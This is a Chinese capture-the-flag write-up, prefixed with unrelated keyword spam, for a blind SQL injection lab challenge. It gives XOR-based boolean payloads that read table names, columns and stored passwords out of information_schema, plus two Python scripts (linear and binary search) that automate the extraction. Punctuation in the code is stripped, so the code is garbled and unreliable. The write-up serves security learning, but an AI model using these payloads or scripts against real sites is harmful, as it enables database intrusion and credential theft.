网站建设 医院,菏泽网站建设熊掌号,农林科技公司网站模板,网页设计与制作实训报告摘要1、这题的关键是找注入点#xff0c;如果选择用户名、密码作为输入点就麻烦了
2、注入点#xff1a;按钮#xff0c;点击就传id#xff1b;当id1时#xff0c;提示Click others 可以利用id的特性#xff0c;构造异或匹配 payload: f1^(ord(substr((select… 1、这题的关键是找注入点如果选择用户名、密码作为输入点就麻烦了
2、注入点按钮点击就传id当id1时提示Click others 可以利用id的特性构造异或匹配 payload: f1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schemadatabase())),{j},1)){i})^1 payload有两个异或1^表达式^1 如果中间为真则返回1那么 01^01前异或00^01后异或011 —— id1 —— 也就是提示Click others 如果中间为假则返回0那么 00^01前异或01^01后异或000 —— id0 —— 也就是提示Error
3、查出表名1n1yl\11yaa这个结果错误的通过下面的查询查不出列查看re后发现请求会提示429too many requests 解决方法查询频率太高了使用**time.sleep(0.2)**解决 查出表名F1naI1y,Flaaaaag
4、payload: f1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_nameFlaaaaag)),{j},1)){i})^1 查出列名id,fl4gawsl查到NO!NO!说明flag不在这个表
5、payload: f1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_nameF1naI1y)),{j},1)){i})^1 查出列名id,username,password
6、payload: f1^(ord(substr((select(password)from(F1naI1y)),{j},1)){i})^1 跑了半小时得到cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www. 还是没有拿到flag速度太慢了 换二分法得到flagcl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_to_Syclover,cl4y_really_need_a_grilfriend,flag{f1319cf3-b1e6-46d6-9473-c857240bcdee} 注意不论是什么方法sleep都必须要否则频率太高就查不出来了
脚本速度太慢
s requests.session()
url http://29cc5d3e-b351-41f6-9266-205c0e2f9064.node4.buuoj.cn:81/search.php?id
result
for j in range(1,10000):for i in range(1,128):#过滤空格、and等关键字payload f1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schemadatabase())),{j},1)){i})^1#payload f1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name1n1yl)),{j},1)){i})^1data{id:payload}time.sleep(0.2)re s.get(urlpayload).text#re s.post(url,data).text#print(urlpayload)#print(re)if Click in re:result chr(i)print(result)break脚本二分法
def payload(i, j):sql 1^(ord(substr((select(group_concat(password))from(F1naI1y)),%d,1))%d)^1 % (i, j)data {id: sql}r requests.get(url, paramsdata)time.sleep(0.06)# print (r.url)if Click in r.text:res 1else:res 0return res
def exp():global flagfor i in range(1, 10000):print(i, :)low 31high 127while low high:mid (low high) // 2res payload(i, mid)if res:low mid 1else:high mid - 1f int((low high 1)) // 2if (f 127 or f 31):break#print(f)flag chr(f)print(flag)
exp()
print(flag, flag)